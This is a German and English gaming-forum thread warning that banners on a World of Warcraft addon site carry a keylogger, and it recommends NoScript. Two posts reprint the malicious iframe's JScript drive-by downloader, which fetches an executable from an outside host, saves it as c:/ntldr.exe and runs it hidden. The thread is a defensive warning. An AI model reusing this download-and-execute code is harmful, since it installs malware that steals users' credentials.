Register for your free account! | Forgot your password?

You last visited: Today at 01:43

  • Please register to post and access all features, it's quick, easy and FREE!

 

Worldofwar.net

Reply
 
Old   #1
 
elite*gold: 0
Join Date: May 2005
Posts: 87
Received Thanks: 6
Heads up guys. Another keylogger on the site has been signilated, once more - in the banners.

P.S.: People that use Mozilla/Firefix might want to keep an eye out for the extention called "NoScript" - quite handy to block these kind of keyloggers. Link:

Code:
 At this moment in time, there is a keylogger embedded into the ui.worldofwar.net homepage.

The keylogger itself is in an iframe embedded from hxxp://ui.bcegame.com/pps.exe (do not visit!).

Do not under any circumstances visit ui.worldofwar.net !

The actual keylogger iframe:
hxxp://ui.bcegame.com/wm.htm

Keylogger iframe src:


xPost.Open('GET','httxxxp://ui.bcegame.com/pps.exe',0);
xPost.Send();
var sGet=df.CreateObject('ADODB.Stream','');
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xPost.ResponseBody);
sGet.SaveToFile('c:/ntldr.exe',2);
var x = df.CreateObject('wscript.shell','');
x.run'c:/ntldr.exe',0);
Quickcheck if you have the keylogger, look for the file 'ntldr.exe' in your C:

(source: )



Tashi is offline  
Old   #2
 
elite*gold: 0
Join Date: Jun 2006
Posts: 814
Received Thanks: 5
also ich klick da nicht drauf....


Edit paar Minuten später:

habs gefunden wo er es her hat ^^

Wie man dem englischen Forum entnehmen kann ( Original-Link: befindet sich auf der Seite http : // ui . worldofwar . net erneut ein Keylogger.


Der Keylogger selbst ist mittels Iframe von http : // ui . bcegame . com / pps . exe eingebunden (Geht bitte nicht auf diese Seite&#33 - Desweiteren solltet ihr vermeiden, ui . worldofwar . net zu besuchen, wenn euch euer Account lieb ist.


Sourcecode

xPost.Open('GET','httxxxp://ui.bcegame.com/pps.exe',0);
xPost.Send();
var sGet=df.CreateObject('ADODB.Stream','& #39;
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xPost.ResponseBody);
sGet.SaveToFile('c:/ntldr.exe',2);
var x = df.CreateObject('wscript.shell','' );
x.run('c:/ntldr.exe',0);


steht in den allgemeinen blizzard foren



<GM>[Dobermann] is offline  
Old   #3
 
elite*gold: 0
Join Date: Feb 2006
Posts: 7,704
Received Thanks: 3,449
er hatte doch seine quelle angegeben, wieso postest du den das gleiche nochma?? etwas sinnfrei oda..
Sui2k is offline  
Old   #4
 
elite*gold: 100
Join Date: Sep 2005
Posts: 21,433
Received Thanks: 4,766
Quote:
Originally posted by SuI2k@Dec 21 2006, 05:41
er hatte doch seine quelle angegeben, wieso postest du den das gleiche nochma?? etwas sinnfrei oda..
Er hat es für die übersetzt, die nichtmal genug Englischkentnisse besitzen um die Farmguides von Joana trotz Videos zu benutzen.

Nein, du bist nicht gemeint


USB Schnittstelle is offline  
Old   #5
 
elite*gold: 0
Join Date: Apr 2006
Posts: 124
Received Thanks: 0
danke wieder :|

so viele viruses
wtf
feareh is offline  
Old   #6
 
elite*gold: 0
Join Date: Nov 2005
Posts: 170
Received Thanks: 0
Quote:
Originally posted by feareh@Dec 22 2006, 14:22
so viele viruses
Sry aber das heißt Viren


Apfel is offline  
Reply



« Previous Thread | Next Thread »

Similar Threads
ui.worldofwar.net weiterhin meiden.
Ich will euch nur darüber informieren das ihr weiterhin die Addon Seite http://ui.worldofwar.net/ doch meiden solltet, ich hab mich ebend mal...
7 Replies - WoW Addons



All times are GMT +1. The time now is 01:43.


Powered by vBulletin®
Copyright ©2000 - 2016, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy
Copyright ©2016 elitepvpers All Rights Reserved.